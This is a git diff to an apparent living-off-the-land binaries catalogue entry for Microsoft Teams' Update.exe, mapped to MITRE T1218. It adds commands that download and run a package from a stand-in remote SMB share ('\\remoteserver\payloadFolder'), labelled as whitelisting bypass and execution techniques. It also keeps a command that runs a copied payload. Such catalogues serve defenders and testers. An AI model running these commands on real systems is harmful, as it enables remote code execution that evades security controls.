diff --git a/yml/OtherMSBinaries/update.yml b/yml/OtherMSBinaries/update.yml index 44cbd61..5195cf0 100644 --- a/yml/OtherMSBinaries/update.yml +++ b/yml/OtherMSBinaries/update.yml @@ -12,7 +12,7 @@ Commands: MitreID: T1218 MitreLink: https://attack.mitre.org/techniques/T1218/ OperatingSystem: Windows 7 and up with Microsoft Teams installed - - Command: Update.exe --update [url to package] + - Command: Update.exe --update=[url to package] Description: The above binary will go to url and look for RELEASES file, download and install the nuget package. Usecase: Download and execute binary Category: AWL Bypass @@ -20,7 +20,7 @@ Commands: MitreID: T1218 MitreLink: https://attack.mitre.org/techniques/T1218/ OperatingSystem: Windows 7 and up with Microsoft Teams installed - - Command: Update.exe --update [url to package] + - Command: Update.exe --update=[url to package] Description: The above binary will go to url and look for RELEASES file, download and install the nuget package. Usecase: Download and execute binary Category: Execute @@ -28,7 +28,23 @@ Commands: MitreID: T1218 MitreLink: https://attack.mitre.org/techniques/T1218/ OperatingSystem: Windows 7 and up with Microsoft Teams installed - - Command: Update.exe --updateRoolback=[url to package] + - Command: Update.exe --update=\\remoteserver\payloadFolder + Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. + Usecase: Download and execute binary + Category: AWL Bypass + Privileges: User + MitreID: T1218 + MitreLink: https://attack.mitre.org/techniques/T1218/ + OperatingSystem: Windows 7 and up with Microsoft Teams installed + - Command: Update.exe --update=\\remoteserver\payloadFolder + Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. + Usecase: Download and execute binary + Category: Execute + Privileges: User + MitreID: T1218 + MitreLink: https://attack.mitre.org/techniques/T1218/ + OperatingSystem: Windows 7 and up with Microsoft Teams installed + - Command: Update.exe --updateRollback=[url to package] Description: The above binary will go to url and look for RELEASES file, download and install the nuget package. Usecase: Download and execute binary Category: AWL Bypass @@ -52,6 +68,22 @@ Commands: MitreID: T1218 MitreLink: https://attack.mitre.org/wiki/Technique/T1218 OperatingSystem: Windows 7 and up with Microsoft Teams installed + - Command: Update.exe --updateRollback=\\remoteserver\payloadFolder + Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. + Usecase: Download and execute binary + Category: AWL Bypass + Privileges: User + MitreID: T1218 + MitreLink: https://attack.mitre.org/techniques/T1218/ + OperatingSystem: Windows 7 and up with Microsoft Teams installed + - Command: Update.exe --updateRollback=\\remoteserver\payloadFolder + Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. + Usecase: Download and execute binary + Category: Execute + Privileges: User + MitreID: T1218 + MitreLink: https://attack.mitre.org/techniques/T1218/ + OperatingSystem: Windows 7 and up with Microsoft Teams installed - Command: Update.exe --processStart payload.exe --process-start-args "whatever args" Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied. Usecase: Execute binary @@ -70,11 +102,13 @@ Resources: - Link: https://www.youtube.com/watch?v=rOP3hnkj7ls - Link: https://twitter.com/reegun21/status/1144182772623269889 - Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408 + - Link: https://twitter.com/reegun21/status/1291005287034281990 - Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/ - Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12 - Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56 + - Link: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/ Acknowledgement: - - Person: Reegun J (OCBC Bank) + - Person: Reegun Richard Jayapaul (SpiderLabs, Trustwave) Handle: '@reegun21' - Person: Mr.Un1k0d3r Handle: '@MrUn1k0d3r'